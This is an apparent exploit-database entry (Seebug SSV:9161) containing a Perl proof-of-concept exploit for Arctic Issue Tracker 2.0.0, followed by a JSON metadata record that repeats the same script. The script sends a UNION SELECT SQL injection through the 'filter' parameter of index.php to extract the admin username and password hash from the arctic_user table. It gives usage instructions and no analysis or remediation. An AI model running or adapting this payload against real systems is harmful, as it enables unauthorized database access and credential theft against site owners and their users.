ID SSV:9161
Type seebug
Reporter Root
Modified 2008-07-23T00:00:00
Description
No description provided by source.
#!/usr/bin/perl
use IO::Socket;
print q{
-----------------------------------------------
Arctic Issue Tracker v2.0.0 exploit by ldma
~ SubCode ~
use: arctic.pl [server] [dir]
sample:
$perl arctic.pl localhost /arctic/
-----------------------------------------------
};
$webpage = $ARGV[0];
$directory = $ARGV[1];
print "+-initiating\n";
print "|--modules..OK!\n";
sleep 1;
print "|--premodules..OK!\n";
sleep 1;
print "|--preprocessors..OK!\n";
sleep 1;
print "+-opening channel.. OK!\n";
sleep 2;
print "--------------------------------------------\n";
print "~ configuration complete.. OK!\n";
print "~ scanning";
$|=1;
foreach (1..2) {
print ".";
sleep 1;
}
print " OK!\n";
if (!$webpage) { die "\+ rtfm geek\n"; }
$wbb_dir =
"http://".$webpage.$directory."index.php?filter=-1%20union%20select%201,2,3,concat(username,0x3a,password),5%20from%20arctic_user%20where%20id=1--";
print "~ connecting";
$|=1;
foreach (1..1) {
print ".";
sleep 1;
}
print " OK!\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "~ open exploiting-tree";
$|=1;
foreach (1..2) {
print ".";
sleep 1;
}
print " OK!\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";
print "[+] Target: $webpage\n";
while ($answer = <$sock>) {
if ($answer =~ /Current Filter: <strong>(.*)<\/strong>/) {
print "exploiting in progress";
$|=1;
foreach (1..3) {
print "...";
sleep 1;
}
print "OK!\n[+] vuln: OK!\n\n\nwell done, ldma!\n\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "[+] USER-ID: -1\n";
print "[+] ID-HASH: $1\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
exit();
}
}
close($sock);
{"href": "https://www.seebug.org/vuldb/ssvid-9161", "status": "poc", "history": [], "bulletinFamily": "exploit", "modified": "2008-07-23T00:00:00", "title": "Arctic Issue Tracker 2.0.0 (index.php filter) SQL Injection Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-9161", "cvelist": [], "description": "No description provided by source.", "viewCount": 0, "published": "2008-07-23T00:00:00", "sourceData": "\n #!/usr/bin/perl\r\n \r\nuse IO::Socket;\r\n \r\n\r\nprint q{\r\n-----------------------------------------------\r\nArctic Issue Tracker v2.0.0 exploit by ldma\r\n ~ SubCode ~\r\nuse: arctic.pl [server] [dir]\r\nsample:\r\n$perl arctic.pl localhost /arctic/\r\n-----------------------------------------------\r\n \r\n};\r\n \r\n$webpage = $ARGV[0];\r\n$directory = $ARGV[1];\r\nprint "+-initiating\\n";\r\nprint "|--modules..OK!\\n";\r\n sleep 1;\r\nprint "|--premodules..OK!\\n";\r\n sleep 1;\r\nprint "|--preprocessors..OK!\\n";\r\n sleep 1;\r\nprint "+-opening channel.. OK!\\n";\r\n sleep 2;\r\nprint "--------------------------------------------\\n";\r\nprint "~ configuration complete.. OK!\\n";\r\nprint "~ scanning";\r\n$|=1;\r\nforeach (1..2) {\r\n print ".";\r\n sleep 1;\r\n }\r\nprint " OK!\\n";\r\nif (!$webpage) { die "\\+ rtfm geek\\n"; }\r\n \r\n$wbb_dir =\r\n"http://".$webpage.$directory."index.php?filter=-1%20union%20select%201,2,3,concat(username,0x3a,password),5%20from%20arctic_user%20where%20id=1--";\r\n \r\nprint "~ connecting";\r\n$|=1;\r\nforeach (1..1) {\r\n print ".";\r\n sleep 1;\r\n }\r\nprint " OK!\\n";\r\n$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", PeerPort=>"80") || die "[+] Can't connect to Server\\n";\r\n \r\nprint "~ open exploiting-tree";\r\n$|=1;\r\nforeach (1..2) {\r\n print ".";\r\n sleep 1;\r\n }\r\nprint " OK!\\n";\r\nprint $sock "GET $wbb_dir HTTP/1.1\\n";\r\nprint $sock "Accept: */*\\n";\r\nprint $sock "User-Agent: Hacker\\n";\r\nprint $sock "Host: $webpage\\n";\r\nprint $sock "Connection: close\\n\\n";\r\nprint "[+] Target: $webpage\\n";\r\nwhile ($answer = <$sock>) {\r\nif ($answer =~ /Current Filter: <strong>(.*)<\\/strong>/) {\r\nprint "exploiting in progress";\r\n$|=1;\r\nforeach (1..3) {\r\n print "...";\r\n sleep 1;\r\n }\r\n \r\n \r\nprint "OK!\\n[+] vuln: OK!\\n\\n\\nwell done, ldma!\\n\\n";\r\nprint "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n";\r\nprint "[+] USER-ID: -1\\n";\r\nprint "[+] ID-HASH: $1\\n";\r\nprint "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n";\r\nexit();\r\n}\r\n}\r\n \r\nclose($sock);\n ", "id": "SSV:9161", "enchantments_done": [], "_object_type": "robots.models.seebug.SeebugBulletin", "type": "seebug", "lastseen": "2017-11-19T21:34:59", "reporter": "Root", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [], "modified": "2017-11-19T21:34:59"}, "vulnersScore": 7.5}, "objectVersion": "1.4", "references": []}
{}